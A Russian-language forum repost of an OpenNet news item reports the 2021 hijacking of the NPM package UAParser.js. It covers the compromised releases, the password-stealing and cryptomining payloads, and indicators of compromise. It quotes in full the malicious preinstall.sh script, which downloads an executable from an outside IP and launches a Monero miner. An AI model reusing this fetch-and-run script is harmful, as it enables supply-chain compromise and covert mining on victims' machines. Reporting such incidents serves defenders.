В NPM-пакет UAParser.js, насчитывающий 8 млн загрузок в неделю, внедрено вредоносное ПО

Автор Сообщение
news_bot ®

Стаж: 6 лет 9 месяцев
Сообщений: 27286

Создавать темы news_bot ® написал(а)
24-Окт-2021 01:30

История с удалением из репозитория NPM трёх вредоносных пакетов, копировавших код библиотеки UAParser.js, получила неожиданное продолжение - неизвестные злоумышленники захватили контроль над учётной записью автора проекта UAParser.js и выпустили обновления, содержащие код для кражи паролей и майнинга криптовалют.
Проблема в том, что библиотека UAParser.js, которая предлагает функции для разбора HTTP-заголовка User-Agent, насчитывает около 8 млн загрузок в неделю и используется в качестве зависимости в более чем 1200 проектах. Заявлено, что UAParser.js применяется в проектах таких компаний, как Microsoft, Amazon, Facebook, Slack, Discord, Mozilla, Apple, ProtonMail, Autodesk, Reddit, Vimeo, Uber, Dell, IBM, Siemens, Oracle, HP и Verison.
Атака была совершена через взлом учётной записи разработчика проекта, который понял что-то не так после необычной волны спама, свалившейся в его почтовый ящик. Как именно была взломана учётная запись разработчика не сообщается. Атакующие сформировали выпуски 0.7.29, 0.8.0 и 1.0.0, внедрив в них вредоносный код. В течение нескольких часов разработчики вернули контроль над проектом и сформировали обновления 0.7.30, 0.8.1 и 1.0.1 c устранением проблемы. Вредоносные версии были опубликованы только в виде пакетов в NPM-репозитории. Git-репозиторий проекта на GitHub не пострадал. Всем пользователям, установившим проблемные версии, при обнаружении в Linux файла jsextension, а в Windows файлов jsextension.exe и create.dll, рекомендуется считать систему скомпрометированной и поменять на ней пароли, ключи и сертификаты безопасности.
Добавленные вредоносные изменения напоминали изменения, ранее предложенные в клонах UAParser.js, которые, судя по всему, были выпущены для тестирования функциональности перед совершением широкомасштабной атаки на основной проект. На систему пользователя с внешнего хоста загружался и запускался исполняемый файл jsextension, который выбирался в зависимости от платформы пользователя и был подготовлен в вариантах для Linux и Windows. Для платформы Windows помимо программы для майнинга криптовалюты Monero (использовался майнер XMRig) злоумышленниками также было организовано внедрение библиотеки create.dll для перехвата паролей и их отправки на внешний хост.
Код для загрузки вредоносных компонентов в файл preinstall.sh NPM-пакета был добавлен код
IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
   if [ -z "$IP" ]
    then
  var=$(pgrep jsextension)
  if [ -z "$var" ]
    then
    curl http://159.148.186.228/download/jsextension -o jsextension
    if [ ! -f jsextension ]
      then
      wget http://159.148.186.228/download/jsextension -O jsextension
    fi
    chmod +x jsextension
    ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49***xYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
  fi
   fi
Как видно из кода, скрипт вначале проверял IP-адрес в сервисе freegeoip.app и не запускал вредоносное приложение для пользователей из России, Украины, Беларуси и Казахстана.
===========
Источник:
OpenNet.RU
===========

Похожие новости: Теги для поиска: #_npm, #_hack
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 22-Ноя 01:20
Часовой пояс: UTC + 5